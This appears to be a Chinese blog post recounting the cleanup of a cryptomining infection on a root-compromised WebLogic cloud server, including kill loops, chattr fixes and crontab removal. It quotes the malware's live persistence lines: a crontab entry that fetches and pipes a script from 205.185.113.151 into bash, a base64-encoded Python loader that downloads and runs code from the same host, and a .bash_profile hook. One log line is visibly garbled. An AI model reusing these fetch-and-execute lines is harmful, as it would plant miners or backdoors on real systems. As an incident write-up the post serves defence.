问题表象
1.CPU满负载
进入root用户执行top命令:
2. 应用进程被杀
./startWebLogic.sh: line 184: 23884 Killed ${JAVA_HOME}/bin/java ${JAVA_VM}
M
E
M
A
R
G
S
−
D
w
e
b
l
o
g
i
c
.
N
a
m
e
=
{MEM_ARGS} -Dweblogic.Name=
MEMARGS−Dweblogic.Name={SERVER_NAME} -Djava.security.policy=${WLS_POLICY_FILE} ${JAVA_OPTIONS} ${PROXY_SETTINGS} ${SERVER_CLASS}
定位解决问题
暂时解决问题:
ps –aux | grep dbuse
发现存在一堆挖矿进程:
dbusexxx
wget xxxx
python xxxx
先手工杀进程,把cpu负荷降下来:
ps -aux | egrep “dbuse|sendmail|wget|python” | awk ‘{print $2}’ | xargs kill
执行完,在top监控发现,挖矿进程不断在自启。。。没办法,只能死循环杀进程了:
while true ; do ps -aux | egrep “dbuse|sendmail|wget|python” | awk ‘{print $2}’ | xargs kill ; done
来吧,看谁更NB。
终于,进程干净了,cpu负荷也降下来了。
开始定位问题:
1、 查看环境变量.bash_profile时发现存在如下异常:
cp -f -r – /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf – /bin/dbused 2>/dev/null
2、发现挖矿程序/bin/bprofr
先删了再说,rm –rf /bin/bprofr,执行时报如下错误:
rm –rf /bin/bprofr : Operation not permitted
脑瓜子嗡嗡的,什么情况,root用户也不能rm了!?离职泄愤rm –rf行不行了吗。。
一翻百度之后,执行lsattr命令显示文件属性看看,lsattr /bin/bprofr显示如下:
-----ia-----e— /bin/bprofr
Lsattr属性解析如下:
仅附加(a),不更新atime(A),压缩(c),不受写时拷贝影响(C),没有转储(d),同步目录更新(D),扩展格式(e),不可变(i),数据日志(j),安全删除(s),同步更新(S),不支持尾部合并(t),目录层次结构(T)和不可删除(u)。
以下属性是只读的,可以由lsattr(1)列出,但不能通过chattr修改:压缩错误(E),大文件(h),索引目录(l),内联数据(N),压缩原始访问(X),压缩脏文件(Z)。
再依次修改
chattr –I /bin/bprofr
chattr –a /bin/bprofr
lsattr /bin/bprofr
结果显示如下:
------------e— /bin/bprofr
最后再删除rm –rf /bin/bprofr。这下终于成功了!
源头删除后,马上修改.bash_profile,并生效,看看问题解决没有。
你以为到这里就完了?太天真了!
停掉循环杀进程后,发现dbusexx又开始挖矿了!而且刚刚删除的挖矿进程又回来了,环境变量又修改回来了。一下回到起点。
看来循环不能停哎。来,我们再来比比看。
比之前再仔细看了一遍进程列表,里面的wget -q -O - http://205.185.113.151/xmi哪来的呢?百思不得其解之际,在/bin目录下发现线索。
bin目录下4个最新程序,initdr sysdr bprofr crondr,简称4大金刚,最后一个让我眼前一亮,好像crontab还没检查,这一检查(crontab -l)果然有发现:
[root@iZ2ze1by1hkdcimza0guwmZ ~]# crontab -l
* * * * * (curl -s http://205.185.113.151/xmi||wget -q -O - http://205.185.113.151/xmi)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -
[root@iZ2ze1by1hkdcimza0guwmZ ~]#
mmp,crontab –e删除时又报错了:
[root@iZ****kZ cron]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.xx.XXXX3tTwiC to /var/spool/cron/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.BRY7dw
查看/var/spool/cron/root文件属性,果然
-----ia-----e— /var/spool/cron/root
chattr –i /var/spool/cron/root
chattr –a /var/spool/cron/root
rm –rf /var/spool/cron/root
清理定时任务后,再删除4大金刚及环境变量。
至此,问题终于解决!
挖矿现象是解决了,但是挖矿程序是怎么入侵云服务器,还是root用户的呢?